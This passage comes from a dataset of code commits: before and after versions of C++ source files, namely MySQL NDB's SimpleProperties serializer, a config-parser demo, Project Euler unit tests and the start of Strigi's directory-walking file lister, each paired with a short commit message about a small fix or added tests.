false;\n\n  return add((const char*)value, len);\n}\n\nSimpleProperties::Reader::Reader(){\n  m_itemLen = 0;\n}\n\nbool \nSimpleProperties::Reader::first(){\n  reset();\n  m_itemLen = 0;\n  return readValue();\n}\n\nbool\nSimpleProperties::Reader::next(){\n  return readValue();\n}\n    \nbool\nSimpleProperties::Reader::valid() const {\n  return m_type != InvalidValue;\n}\n\nUint16\nSimpleProperties::Reader::getKey() const{\n  return m_key;\n}\n\nUint16\nSimpleProperties::Reader::getValueLen() const {\n  switch(m_type){\n  case Uint32Value:\n    return 4;\n  case StringValue:\n  case BinaryValue:\n    return m_strLen;\n  case InvalidValue:\n    return 0;\n  }\n  return 0;\n}\n\nSimpleProperties::ValueType\nSimpleProperties::Reader::getValueType() const {\n  return m_type;\n}\n    \nUint32\nSimpleProperties::Reader::getUint32() const {\n  return m_ui32_value;\n}\n\nchar * \nSimpleProperties::Reader::getString(char * dst) const {\n  if(peekWords((Uint32*)dst, m_itemLen))\n    return dst;\n  return 0;\n}\n\nbool\nSimpleProperties::Reader::readValue(){\n  if(!step(m_itemLen)){\n    m_type = InvalidValue;\n    return false;\n  }\n  \n  Uint32 tmp;\n  if(!getWord(&tmp)){\n    m_type = InvalidValue;\n    return false;\n  }\n\n  tmp = ntohl(tmp);\n  m_key = tmp & 0xFFFF;\n  m_type = (SimpleProperties::ValueType)(tmp >> 16);\n  switch(m_type){\n  case Uint32Value:\n    m_itemLen = 1;\n    if(!peekWord(&m_ui32_value))\n      return false;\n    m_ui32_value = ntohl(m_ui32_value);\n    return true;\n  case StringValue:\n  case BinaryValue:\n    if(!getWord(&tmp))\n      return false;\n    m_strLen = ntohl(tmp);\n    m_itemLen = (m_strLen + 3)\/4;\n    return true;\n  default:\n    m_itemLen = 0;\n    m_type = InvalidValue;\n    return false;\n  }\n}\n\nSimpleProperties::UnpackStatus \nSimpleProperties::unpack(Reader & it, void * dst, \n\t\t\t const SP2StructMapping _map[], Uint32 mapSz,\n\t\t\t bool ignoreMinMax,\n\t\t\t bool ignoreUnknownKeys){\n  do {\n    if(!it.valid())\n      break;\n    \n    bool found = false;\n    Uint16 key = it.getKey();\n    for(Uint32 i = 0; i<mapSz; i++){\n      if(key == _map[i].Key){\n\tfound = true;\n\tif(_map[i].Type == InvalidValue)\n\t  return Break;\n\tif(_map[i].Type != it.getValueType())\n\t  return TypeMismatch;\n\t\n\tchar * _dst = (char *)dst;\n\t_dst += _map[i].Offset;\n\t\n\tswitch(it.getValueType()){\n\tcase Uint32Value:{\n\t  const Uint32 val = it.getUint32();\n\t  if(!ignoreMinMax){\n\t    if(val < _map[i].minValue)\n\t      return ValueTooLow;\n\t    if(val > _map[i].maxValue)\n\t      return ValueTooHigh;\n\t  }\n\t  * ((Uint32 *)_dst) = val;\n\t  break;\n        }\n\tcase BinaryValue:\n        case StringValue:{\n\t  unsigned len = it.getValueLen();\n\t  if(len < _map[i].minValue)\n\t    return ValueTooLow;\n\t  if(len > _map[i].maxValue)\n\t    return ValueTooHigh;\n          it.getString(_dst);\n          break;\n\t}\n\tdefault:\n\t  abort();\n\t}\n\tbreak;\n      }\n    }\n    if(!found && !ignoreUnknownKeys)\n      return UnknownKey;\n  } while(it.next());\n  \n  return Eof;\n}\n\nSimpleProperties::UnpackStatus \nSimpleProperties::pack(Writer & it, const void * __src, \n\t\t       const SP2StructMapping _map[], Uint32 mapSz,\n\t\t       bool ignoreMinMax){\n\n  const char * _src = (const char *)__src;\n\n  for(Uint32 i = 0; i<mapSz; i++){\n    bool ok = false;\n    const char * src = _src + _map[i].Offset;\n    switch(_map[i].Type){\n    case SimpleProperties::InvalidValue:\n      ok = true;\n      break;\n    case SimpleProperties::Uint32Value:{\n      Uint32 val = * ((Uint32*)src);\n      if(!ignoreMinMax){\n\tif(val < _map[i].minValue)\n\t  return ValueTooLow;\n\tif(val > _map[i].maxValue)\n\t  return ValueTooHigh;\n      }\n      ok = it.add(_map[i].Key, val);\n    }\n      break;\n    case SimpleProperties::BinaryValue:{\n      const char * src_len = _src + _map[i].Length_Offset;\n      Uint32 len = *((Uint32*)src_len);\n      if(!ignoreMinMax){\n\tif(len == _map[i].maxValue)\n\t  return ValueTooHigh;\n      }\n      ok = it.add(_map[i].Key, src, len);\n      break;\n    }\n    case SimpleProperties::StringValue:\n      if(!ignoreMinMax){\n\tsize_t len = strlen(src);\n\tif(len == _map[i].maxValue)\n\t  return ValueTooHigh;\n      }\n      ok = it.add(_map[i].Key, src);\n      break;\n    }\n    if(!ok)\n      return OutOfMemory;\n  }\n  \n  return Eof;\n}\n\nvoid\nSimpleProperties::Reader::printAll(NdbOut& ndbout){\n  char tmp[1024];\n  for(first(); valid(); next()){\n    switch(getValueType()){\n    case SimpleProperties::Uint32Value:\n      ndbout << \"Key: \" << getKey()\n             << \" value(\" << getValueLen() << \") : \" \n             << getUint32() << endl;\n      break;\n    case SimpleProperties::BinaryValue:\n    case SimpleProperties::StringValue:\n      if(getValueLen() < 1024){\n\tgetString(tmp);\n\tndbout << \"Key: \" << getKey()\n\t       << \" value(\" << getValueLen() << \") : \" \n\t       << \"\\\"\" << tmp << \"\\\"\" << endl;\n      } else {\n\tndbout << \"Key: \" << getKey()\n\t       << \" value(\" << getValueLen() << \") : \" \n\t       << \"\\\"\" << \"<TOO LONG>\" << \"\\\"\" << endl;\n\t\n      }\n      break;\n    default:\n      ndbout << \"Unknown type for key: \" << getKey() \n             << \" type: \" << (Uint32)getValueType() << endl;\n    }\n  }\n}\n\nSimplePropertiesLinearReader::SimplePropertiesLinearReader\n(const Uint32 * src, Uint32 len){\n  m_src = src;\n  m_len = len;\n  m_pos = 0;\n  first();\n}\n\nvoid \nSimplePropertiesLinearReader::reset() { \n  m_pos = 0;\n}\n\nbool \nSimplePropertiesLinearReader::step(Uint32 len){\n  m_pos += len;\n  return m_pos < m_len;\n}\n  \nbool\nSimplePropertiesLinearReader::getWord(Uint32 * dst) { \n  if(m_pos<m_len){\n    * dst = m_src[m_pos++];\n    return true;\n  } \n  return false;\n}\n\nbool \nSimplePropertiesLinearReader::peekWord(Uint32 * dst) const {\n  if(m_pos<m_len){\n    * dst = m_src[m_pos];\n    return true;\n  } \n  return false;\n}\n\nbool \nSimplePropertiesLinearReader::peekWords(Uint32 * dst, Uint32 len) const {\n  if(m_pos + len <= m_len){\n    memcpy(dst, &m_src[m_pos], 4 * len);\n    return true;\n  }\n  return false;\n}\n\nLinearWriter::LinearWriter(Uint32 * src, Uint32 len){\n  m_src = src;\n  m_len = len;\n  reset();\n}\n\nbool LinearWriter::reset() { m_pos = 0; return m_len > 0;}\n\nbool \nLinearWriter::putWord(Uint32 val){\n  if(m_pos < m_len){\n    m_src[m_pos++] = val;\n    return true;\n  }\n  return false;\n}\n\nbool \nLinearWriter::putWords(const Uint32 * src, Uint32 len){\n  if(m_pos + len <= m_len){\n    memcpy(&m_src[m_pos], src, 4 * len);\n    m_pos += len;\n    return true;\n  }\n  return false;\n}\n\nUint32\nLinearWriter::getWordsUsed() const { return m_pos;}\n\nUtilBufferWriter::UtilBufferWriter(UtilBuffer & b)\n  : m_buf(b)\n{\n  reset();\n}\n\nbool UtilBufferWriter::reset() { m_buf.clear(); return true;}\n\nbool \nUtilBufferWriter::putWord(Uint32 val){\n  return (m_buf.append(&val, 4) == 0);\n}\n\nbool \nUtilBufferWriter::putWords(const Uint32 * src, Uint32 len){\n  return (m_buf.append(src, 4 * len) == 0);\n}\n\n\nUint32\nUtilBufferWriter::getWordsUsed() const { return m_buf.length() \/ 4;}\n\n#if 0\nLinearPagesReader::LinearPagesReader(const Uint32 * base, \n\t\t\t\t     Uint32 pageSize, \n\t\t\t\t     Uint32 headerSize,\n\t\t\t\t     Uint32 noOfPages, \n\t\t\t\t     Uint32 len){\n  m_base = base;\n  m_pageSz = pageSize;\n  m_noOfPages = noOfPages;\n  m_pageHeaderSz = headerSize;\n  m_len = len;\n  reset();\n}\n\nvoid \nLinearPagesReader::reset() { m_pos = 0;}\n\nbool \nLinearPagesReader::step(Uint32 len){\n  m_pos += len;\n  return m_pos < m_len;\n}\n\nbool \nLinearPagesReader::getWord(Uint32 * dst) { \n  if(m_pos<m_len){\n    * dst = m_base[getPos(m_pos++)];\n    return true;\n  } \n  return false;\n}\n\nbool \nLinearPagesReader::peekWord(Uint32 * dst) const {\n  if(m_pos<m_len){\n    * dst = m_base[getPos(m_pos)];\n    return true;\n  } \n  return false;\n}\n\nbool \nLinearPagesReader::peekWords(Uint32 * dst, Uint32 len) const {\n  if(m_pos + len <= m_len){\n    for(Uint32 i = 0; i<len; i++)\n      * (dst + i) = m_base[getPos(m_pos + i)];\n    return true;\n  }\n  return false;\n}\n\nUint32 \nLinearPagesReader::getPos(Uint32 pos) const {\n  const Uint32 sz = (m_pageSz - m_pageHeaderSz);\n  Uint32 no = pos \/ sz;\n  Uint32 in = pos % sz;\n  return no * m_pageSz + m_pageHeaderSz + in;\n}\n\nLinearPagesWriter::LinearPagesWriter(Uint32 * base, \n\t\t\t\t     Uint32 pageSize, \n\t\t\t\t     Uint32 noOfPages, \n\t\t\t\t     Uint32 headerSize){\n  m_base = base;\n  m_pageSz = pageSize;\n  m_noOfPages = noOfPages;\n  m_pageHeaderSz = headerSize;\n  m_len = noOfPages * (pageSize - headerSize);\n  reset();\n}\n\nbool \nLinearPagesWriter::putWord(Uint32 val){\n  if(m_pos < m_len){\n    m_base[getPos(m_pos++)] = val;\n    return true;\n  }\n  return false;\n}\n\nbool \nLinearPagesWriter::putWords(const Uint32 * src, Uint32 len){\n  if(m_pos + len <= m_len){\n    for(Uint32 i = 0; i<len; i++)\n      m_base[getPos(m_pos++)] = src[i];\n    return true;\n  }\n  return false;\n}\n\n#if 0\nUint32 \nLinearPagesWriter::getWordsUsed() const { \n  return getPos(m_pos);\n}\n#endif\n\nUint32 \nLinearPagesWriter::getPagesUsed() const { \n  return m_pos \/ (m_pageSz - m_pageHeaderSz);\n}\n\nUint32 \nLinearPagesWriter::getPos(Uint32 pos) const {\n  const Uint32 sz = (m_pageSz - m_pageHeaderSz);\n  Uint32 no = pos \/ sz;\n  Uint32 in = pos % sz;\n  return no * m_pageSz + m_pageHeaderSz + in;\n}\n#endif\n<commit_msg>ndb -   Fix compile error with gcc296<commit_after>\/* Copyright (C) 2003 MySQL AB\n\n   This program is free software; you can redistribute it and\/or modify\n   it under the terms of the GNU General Public License as published by\n   the Free Software Foundation; either version 2 of the License, or\n   (at your option) any later version.\n\n   This program is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n   GNU General Public License for more details.\n\n   You should have received a copy of the GNU General Public License\n   along with this program; if not, write to the Free Software\n   Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n#include <ndb_global.h>\n#include <SimpleProperties.hpp>\n#include <NdbOut.hpp>\n#include <NdbTCP.h>\n#include <UtilBuffer.hpp>\n\nbool\nSimpleProperties::Writer::first(){\n  return reset();\n}\n\nbool \nSimpleProperties::Writer::add(Uint16 key, Uint32 value){\n  Uint32 head = Uint32Value;  \n  head <<= 16;\n  head += key;\n  if(!putWord(htonl(head)))\n    return false;\n  \n  return putWord(htonl(value));\n}\n\nbool\nSimpleProperties::Writer::add(const char * value, int len){\n  const Uint32 valLen = (len + 3) \/ 4;\n\n  if ((len % 4) == 0)\n    return putWords((Uint32*)value, valLen);\n\n  const Uint32 putLen= valLen - 1;\n  if (!putWords((Uint32*)value, putLen))\n    return false;\n\n  \/\/ Special handling of last bytes\n  union {\n    Uint32 lastWord;\n    char lastBytes[4];\n  } tmp;\n  tmp.lastWord =0 ;\n  memcpy(tmp.lastBytes,\n         value + putLen*4,\n         len - putLen*4);\n  return putWord(tmp.lastWord);\n}\n\nbool\nSimpleProperties::Writer::add(Uint16 key, const char * value){\n  Uint32 head = StringValue;\n  head <<= 16;\n  head += key;\n  if(!putWord(htonl(head)))\n    return false;\n  Uint32 strLen = strlen(value) + 1; \/\/ Including NULL-byte\n  if(!putWord(htonl(strLen)))\n    return false;\n\n  return add(value, (int)strLen);\n\n}\n\nbool\nSimpleProperties::Writer::add(Uint16 key, const void* value, int len){\n  Uint32 head = BinaryValue;\n  head <<= 16;\n  head += key;\n  if(!putWord(htonl(head)))\n    return false;\n  if(!putWord(htonl(len)))\n    return false;\n\n  return add((const char*)value, len);\n}\n\nSimpleProperties::Reader::Reader(){\n  m_itemLen = 0;\n}\n\nbool \nSimpleProperties::Reader::first(){\n  reset();\n  m_itemLen = 0;\n  return readValue();\n}\n\nbool\nSimpleProperties::Reader::next(){\n  return readValue();\n}\n    \nbool\nSimpleProperties::Reader::valid() const {\n  return m_type != InvalidValue;\n}\n\nUint16\nSimpleProperties::Reader::getKey() const{\n  return m_key;\n}\n\nUint16\nSimpleProperties::Reader::getValueLen() const {\n  switch(m_type){\n  case Uint32Value:\n    return 4;\n  case StringValue:\n  case BinaryValue:\n    return m_strLen;\n  case InvalidValue:\n    return 0;\n  }\n  return 0;\n}\n\nSimpleProperties::ValueType\nSimpleProperties::Reader::getValueType() const {\n  return m_type;\n}\n    \nUint32\nSimpleProperties::Reader::getUint32() const {\n  return m_ui32_value;\n}\n\nchar * \nSimpleProperties::Reader::getString(char * dst) const {\n  if(peekWords((Uint32*)dst, m_itemLen))\n    return dst;\n  return 0;\n}\n\nbool\nSimpleProperties::Reader::readValue(){\n  if(!step(m_itemLen)){\n    m_type = InvalidValue;\n    return false;\n  }\n  \n  Uint32 tmp;\n  if(!getWord(&tmp)){\n    m_type = InvalidValue;\n    return false;\n  }\n\n  tmp = ntohl(tmp);\n  m_key = tmp & 0xFFFF;\n  m_type = (SimpleProperties::ValueType)(tmp >> 16);\n  switch(m_type){\n  case Uint32Value:\n    m_itemLen = 1;\n    if(!peekWord(&m_ui32_value))\n      return false;\n    m_ui32_value = ntohl(m_ui32_value);\n    return true;\n  case StringValue:\n  case BinaryValue:\n    if(!getWord(&tmp))\n      return false;\n    m_strLen = ntohl(tmp);\n    m_itemLen = (m_strLen + 3)\/4;\n    return true;\n  default:\n    m_itemLen = 0;\n    m_type = InvalidValue;\n    return false;\n  }\n}\n\nSimpleProperties::UnpackStatus \nSimpleProperties::unpack(Reader & it, void * dst, \n\t\t\t const SP2StructMapping _map[], Uint32 mapSz,\n\t\t\t bool ignoreMinMax,\n\t\t\t bool ignoreUnknownKeys){\n  do {\n    if(!it.valid())\n      break;\n    \n    bool found = false;\n    Uint16 key = it.getKey();\n    for(Uint32 i = 0; i<mapSz; i++){\n      if(key == _map[i].Key){\n\tfound = true;\n\tif(_map[i].Type == InvalidValue)\n\t  return Break;\n\tif(_map[i].Type != it.getValueType())\n\t  return TypeMismatch;\n\t\n\tchar * _dst = (char *)dst;\n\t_dst += _map[i].Offset;\n\t\n\tswitch(it.getValueType()){\n\tcase Uint32Value:{\n\t  const Uint32 val = it.getUint32();\n\t  if(!ignoreMinMax){\n\t    if(val < _map[i].minValue)\n\t      return ValueTooLow;\n\t    if(val > _map[i].maxValue)\n\t      return ValueTooHigh;\n\t  }\n\t  * ((Uint32 *)_dst) = val;\n\t  break;\n        }\n\tcase BinaryValue:\n        case StringValue:{\n\t  unsigned len = it.getValueLen();\n\t  if(len < _map[i].minValue)\n\t    return ValueTooLow;\n\t  if(len > _map[i].maxValue)\n\t    return ValueTooHigh;\n          it.getString(_dst);\n          break;\n\t}\n\tdefault:\n\t  abort();\n\t}\n\tbreak;\n      }\n    }\n    if(!found && !ignoreUnknownKeys)\n      return UnknownKey;\n  } while(it.next());\n  \n  return Eof;\n}\n\nSimpleProperties::UnpackStatus \nSimpleProperties::pack(Writer & it, const void * __src, \n\t\t       const SP2StructMapping _map[], Uint32 mapSz,\n\t\t       bool ignoreMinMax){\n\n  const char * _src = (const char *)__src;\n\n  for(Uint32 i = 0; i<mapSz; i++){\n    bool ok = false;\n    const char * src = _src + _map[i].Offset;\n    switch(_map[i].Type){\n    case SimpleProperties::InvalidValue:\n      ok = true;\n      break;\n    case SimpleProperties::Uint32Value:{\n      Uint32 val = * ((Uint32*)src);\n      if(!ignoreMinMax){\n\tif(val < _map[i].minValue)\n\t  return ValueTooLow;\n\tif(val > _map[i].maxValue)\n\t  return ValueTooHigh;\n      }\n      ok = it.add(_map[i].Key, val);\n    }\n      break;\n    case SimpleProperties::BinaryValue:{\n      const char * src_len = _src + _map[i].Length_Offset;\n      Uint32 len = *((Uint32*)src_len);\n      if(!ignoreMinMax){\n\tif(len == _map[i].maxValue)\n\t  return ValueTooHigh;\n      }\n      ok = it.add(_map[i].Key, src, len);\n      break;\n    }\n    case SimpleProperties::StringValue:\n      if(!ignoreMinMax){\n\tsize_t len = strlen(src);\n\tif(len == _map[i].maxValue)\n\t  return ValueTooHigh;\n      }\n      ok = it.add(_map[i].Key, src);\n      break;\n    }\n    if(!ok)\n      return OutOfMemory;\n  }\n  \n  return Eof;\n}\n\nvoid\nSimpleProperties::Reader::printAll(NdbOut& ndbout){\n  char tmp[1024];\n  for(first(); valid(); next()){\n    switch(getValueType()){\n    case SimpleProperties::Uint32Value:\n      ndbout << \"Key: \" << getKey()\n             << \" value(\" << getValueLen() << \") : \" \n             << getUint32() << endl;\n      break;\n    case SimpleProperties::BinaryValue:\n    case SimpleProperties::StringValue:\n      if(getValueLen() < 1024){\n\tgetString(tmp);\n\tndbout << \"Key: \" << getKey()\n\t       << \" value(\" << getValueLen() << \") : \" \n\t       << \"\\\"\" << tmp << \"\\\"\" << endl;\n      } else {\n\tndbout << \"Key: \" << getKey()\n\t       << \" value(\" << getValueLen() << \") : \" \n\t       << \"\\\"\" << \"<TOO LONG>\" << \"\\\"\" << endl;\n\t\n      }\n      break;\n    default:\n      ndbout << \"Unknown type for key: \" << getKey() \n             << \" type: \" << (Uint32)getValueType() << endl;\n    }\n  }\n}\n\nSimplePropertiesLinearReader::SimplePropertiesLinearReader\n(const Uint32 * src, Uint32 len){\n  m_src = src;\n  m_len = len;\n  m_pos = 0;\n  first();\n}\n\nvoid \nSimplePropertiesLinearReader::reset() { \n  m_pos = 0;\n}\n\nbool \nSimplePropertiesLinearReader::step(Uint32 len){\n  m_pos += len;\n  return m_pos < m_len;\n}\n  \nbool\nSimplePropertiesLinearReader::getWord(Uint32 * dst) { \n  if(m_pos<m_len){\n    * dst = m_src[m_pos++];\n    return true;\n  } \n  return false;\n}\n\nbool \nSimplePropertiesLinearReader::peekWord(Uint32 * dst) const {\n  if(m_pos<m_len){\n    * dst = m_src[m_pos];\n    return true;\n  } \n  return false;\n}\n\nbool \nSimplePropertiesLinearReader::peekWords(Uint32 * dst, Uint32 len) const {\n  if(m_pos + len <= m_len){\n    memcpy(dst, &m_src[m_pos], 4 * len);\n    return true;\n  }\n  return false;\n}\n\nLinearWriter::LinearWriter(Uint32 * src, Uint32 len){\n  m_src = src;\n  m_len = len;\n  reset();\n}\n\nbool LinearWriter::reset() { m_pos = 0; return m_len > 0;}\n\nbool \nLinearWriter::putWord(Uint32 val){\n  if(m_pos < m_len){\n    m_src[m_pos++] = val;\n    return true;\n  }\n  return false;\n}\n\nbool \nLinearWriter::putWords(const Uint32 * src, Uint32 len){\n  if(m_pos + len <= m_len){\n    memcpy(&m_src[m_pos], src, 4 * len);\n    m_pos += len;\n    return true;\n  }\n  return false;\n}\n\nUint32\nLinearWriter::getWordsUsed() const { return m_pos;}\n\nUtilBufferWriter::UtilBufferWriter(UtilBuffer & b)\n  : m_buf(b)\n{\n  reset();\n}\n\nbool UtilBufferWriter::reset() { m_buf.clear(); return true;}\n\nbool \nUtilBufferWriter::putWord(Uint32 val){\n  return (m_buf.append(&val, 4) == 0);\n}\n\nbool \nUtilBufferWriter::putWords(const Uint32 * src, Uint32 len){\n  return (m_buf.append(src, 4 * len) == 0);\n}\n\n\nUint32\nUtilBufferWriter::getWordsUsed() const { return m_buf.length() \/ 4;}\n\n#if 0\nLinearPagesReader::LinearPagesReader(const Uint32 * base, \n\t\t\t\t     Uint32 pageSize, \n\t\t\t\t     Uint32 headerSize,\n\t\t\t\t     Uint32 noOfPages, \n\t\t\t\t     Uint32 len){\n  m_base = base;\n  m_pageSz = pageSize;\n  m_noOfPages = noOfPages;\n  m_pageHeaderSz = headerSize;\n  m_len = len;\n  reset();\n}\n\nvoid \nLinearPagesReader::reset() { m_pos = 0;}\n\nbool \nLinearPagesReader::step(Uint32 len){\n  m_pos += len;\n  return m_pos < m_len;\n}\n\nbool \nLinearPagesReader::getWord(Uint32 * dst) { \n  if(m_pos<m_len){\n    * dst = m_base[getPos(m_pos++)];\n    return true;\n  } \n  return false;\n}\n\nbool \nLinearPagesReader::peekWord(Uint32 * dst) const {\n  if(m_pos<m_len){\n    * dst = m_base[getPos(m_pos)];\n    return true;\n  } \n  return false;\n}\n\nbool \nLinearPagesReader::peekWords(Uint32 * dst, Uint32 len) const {\n  if(m_pos + len <= m_len){\n    for(Uint32 i = 0; i<len; i++)\n      * (dst + i) = m_base[getPos(m_pos + i)];\n    return true;\n  }\n  return false;\n}\n\nUint32 \nLinearPagesReader::getPos(Uint32 pos) const {\n  const Uint32 sz = (m_pageSz - m_pageHeaderSz);\n  Uint32 no = pos \/ sz;\n  Uint32 in = pos % sz;\n  return no * m_pageSz + m_pageHeaderSz + in;\n}\n\nLinearPagesWriter::LinearPagesWriter(Uint32 * base, \n\t\t\t\t     Uint32 pageSize, \n\t\t\t\t     Uint32 noOfPages, \n\t\t\t\t     Uint32 headerSize){\n  m_base = base;\n  m_pageSz = pageSize;\n  m_noOfPages = noOfPages;\n  m_pageHeaderSz = headerSize;\n  m_len = noOfPages * (pageSize - headerSize);\n  reset();\n}\n\nbool \nLinearPagesWriter::putWord(Uint32 val){\n  if(m_pos < m_len){\n    m_base[getPos(m_pos++)] = val;\n    return true;\n  }\n  return false;\n}\n\nbool \nLinearPagesWriter::putWords(const Uint32 * src, Uint32 len){\n  if(m_pos + len <= m_len){\n    for(Uint32 i = 0; i<len; i++)\n      m_base[getPos(m_pos++)] = src[i];\n    return true;\n  }\n  return false;\n}\n\n#if 0\nUint32 \nLinearPagesWriter::getWordsUsed() const { \n  return getPos(m_pos);\n}\n#endif\n\nUint32 \nLinearPagesWriter::getPagesUsed() const { \n  return m_pos \/ (m_pageSz - m_pageHeaderSz);\n}\n\nUint32 \nLinearPagesWriter::getPos(Uint32 pos) const {\n  const Uint32 sz = (m_pageSz - m_pageHeaderSz);\n  Uint32 no = pos \/ sz;\n  Uint32 in = pos % sz;\n  return no * m_pageSz + m_pageHeaderSz + in;\n}\n#endif\n<|endoftext|>"}
{"text":"<commit_before>#include <string>\n#include <iostream>\n\n#include \"config.h\"\n\nint main()\n{\n  std::cout << \"\\nAbout to parse...\\n\";\n\n  Config* config = new Config;\n\n  if (config->load(\"default.cfg\"))\n  {\n    std::cout << \"\\nParsing finished.\\n\";\n\n    std::cout << \"\\nDump of config:\\n\";\n    config->dump();\n\n    std::cout << \"\\nPort value:\\n\";\n    std::cout << config->iData(\"core.net.port\") << \"\\n\";\n\n    std::cout << \"\\nKeys in 'core.net':\\n\";\n    std::list<std::string>* tmp = config->mData(\"core.net\")->keys();\n    std::list<std::string>::iterator tmp_iter = tmp->begin();\n    for (;tmp_iter!=tmp->end();++tmp_iter)\n    {\n      std::cout << *tmp_iter << \"\\n\";\n    }\n\n    std::cout << \"\\n\";\n  }\n  else\n  {\n    std::cout << \"\\nParsing failed!\\n\\n\";\n  }\n}\n<commit_msg>forgot the <list> include in app.cpp<commit_after>#include <string>\n#include <list>\n#include <iostream>\n\n#include \"config.h\"\n\nint main()\n{\n  std::cout << \"\\nAbout to parse...\\n\";\n\n  Config* config = new Config;\n\n  if (config->load(\"default.cfg\"))\n  {\n    std::cout << \"\\nParsing finished.\\n\";\n\n    std::cout << \"\\nDump of config:\\n\";\n    config->dump();\n\n    std::cout << \"\\nPort value:\\n\";\n    std::cout << config->iData(\"core.net.port\") << \"\\n\";\n\n    std::cout << \"\\nKeys in 'core.net':\\n\";\n    std::list<std::string>* tmp = config->mData(\"core.net\")->keys();\n    std::list<std::string>::iterator tmp_iter = tmp->begin();\n    for (;tmp_iter!=tmp->end();++tmp_iter)\n    {\n      std::cout << *tmp_iter << \"\\n\";\n    }\n\n    std::cout << \"\\n\";\n  }\n  else\n  {\n    std::cout << \"\\nParsing failed!\\n\\n\";\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"stdafx.h\"\n#include \"CppUnitTest.h\"\n#include \"..\\ProjectEuler\\Problem1.h\"\n\nusing namespace Microsoft::VisualStudio::CppUnitTestFramework;\n\nnamespace ProjectEulerTests\n{\t\t\n\tTEST_CLASS(Problem1Tests)\n\t{\n\tpublic:\n\t\t\n\t\tTEST_METHOD(SumMultiplesOf3And5Below_Input0_Returns0)\n\t\t{\n            auto result = Problem1::SumMultiplesOf3And5Below(0);\n            Assert::AreEqual(0, result);\n\t\t}\n\t};\n}<commit_msg>green-commit - SumMultiplesOf3And5Below_Input1_Returns0, SumMultiplesOf3And5Below_Input2_Returns0, SumMultiplesOf3And5Below_Input3_Returns0<commit_after>#include \"stdafx.h\"\n#include \"CppUnitTest.h\"\n#include \"..\\ProjectEuler\\Problem1.h\"\n\nusing namespace Microsoft::VisualStudio::CppUnitTestFramework;\n\nnamespace ProjectEulerTests\n{\t\t\n\tTEST_CLASS(Problem1Tests)\n\t{\n\tpublic:\n\t\t\n\t\tTEST_METHOD(SumMultiplesOf3And5Below_Input0_Returns0)\n\t\t{\n            auto result = Problem1::SumMultiplesOf3And5Below(0);\n            Assert::AreEqual(0, result);\n\t\t}\n\n        TEST_METHOD(SumMultiplesOf3And5Below_Input1_Returns0)\n        {\n            auto result = Problem1::SumMultiplesOf3And5Below(1);\n            Assert::AreEqual(0, result);\n        }\n\n        TEST_METHOD(SumMultiplesOf3And5Below_Input2_Returns0)\n        {\n            auto result = Problem1::SumMultiplesOf3And5Below(2);\n            Assert::AreEqual(0, result);\n        }\n\n        TEST_METHOD(SumMultiplesOf3And5Below_Input3_Returns0)\n        {\n            auto result = Problem1::SumMultiplesOf3And5Below(3);\n            Assert::AreEqual(0, result);\n        }\n\t};\n}<|endoftext|>"}
{"text":"<commit_before>\/* This file is part of Strigi Desktop Search\n *\n * Copyright (C) 2006 Jos van den Oever <jos@vandenoever.info>\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB.  If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n *\/\n#include \"jstreamsconfig.h\"\n#include \"filelister.h\"\n#include <sys\/types.h>\n#include <sys\/stat.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"stgdirent.h\" \/\/dirent replacement (includes native if available)\n\n#ifdef HAVE_DIRECT_H\n#include <direct.h>\n#endif\n#include <errno.h>\n#ifndef PATH_MAX\n #define PATH_MAX _MAX_PATH\n#endif\n\nusing namespace std;\n\nFileLister::FileLister() {\n    m_callback = 0;\n    m_dirCallback = 0;\n    path = 0;\n    length = 0;\n}\nFileLister::~FileLister() {\n    if (length) {\n        free(path);\n    }\n}\n#include <stdio.h>\nvoid\nFileLister::listFiles(const char *dir, time_t oldestdate) {\n    if (m_callback == 0) return;\n    m_oldestdate = oldestdate;\n    int len = strlen(dir);\n    resize(len+2);\n    strcpy(path, dir);\n    \/\/ check that the dirname ends in '\/'\n    if (path[len-1] != '\/') {\n        strcpy(path+len, \"\/\");\n        len++;\n    }\n    walk_directory(len);\n}\nchar*\nFileLister::resize(uint len) {\n    if (len > length) {\n        length = len + 100;\n        path = (char*) realloc(path, length);\n    }\n    return path;\n}\n\/**\n * Walk through a directory. The directory name must end in a '\/'.\n **\/\nbool\nFileLister::walk_directory(uint len) {\n    bool expandedPath = false;\n    DIR *dir;\n    struct dirent *subdir;\n    struct stat dirstat;\n\n#ifndef _WIN32\n    \/\/ call dir function callback, actually there's only inotify dir callback\n    if (m_dirCallback != 0)\n        m_dirCallback (path);\n#endif\n\n#ifdef _WIN32\n    \/\/ remove the trailing '\/' on windows machines before the call to opendir(),\n    \/\/ but do not strip off the trailing slash from windows c:\/\n    if ( len > 3) {\n        path[len-1] = '\\0';\n    }\n#endif\n\n    \/\/ open the directory\n    dir = opendir(path);\n    if (dir == 0) {\n        return true;\n    }\n#ifdef _WIN32\n    path[len-1] = '\/';\n#endif\n\n    subdir = readdir(dir);\n    while (subdir) {\n\n        \/\/ skip the directories '.' and '..'\n        char c1 = subdir->d_name[0];\n        if (c1 == '.') {\n            char c2 = subdir->d_name[1];\n            if (c2 == '.' || c2 == '\\0') {\n                subdir = readdir(dir);\n                continue;\n            }\n        }\n\n        uint l = len+strlen(subdir->d_name);\n        path = resize(l+1);\n        strcpy(path+len, subdir->d_name);\n        if (lstat(path, &dirstat) == 0) {\n            bool c = true;\n            if ( dirstat.st_mode & S_IFREG\n                    && dirstat.st_mtime >= m_oldestdate) {\n                c = m_callback(path, len, l, dirstat.st_mtime);\n            } else if ( dirstat.st_mode & S_IFDIR) {\n                strcpy(path+l, \"\/\");\n                c = walk_directory(l+1);\n            }\n            if (!c) break;\n\/*        } else {\n            fprintf(stderr, \"Could not stat '%s': %s\\n\", cwd,\n                strerror(errno));*\/\n        }\n\n        subdir = readdir(dir);\n    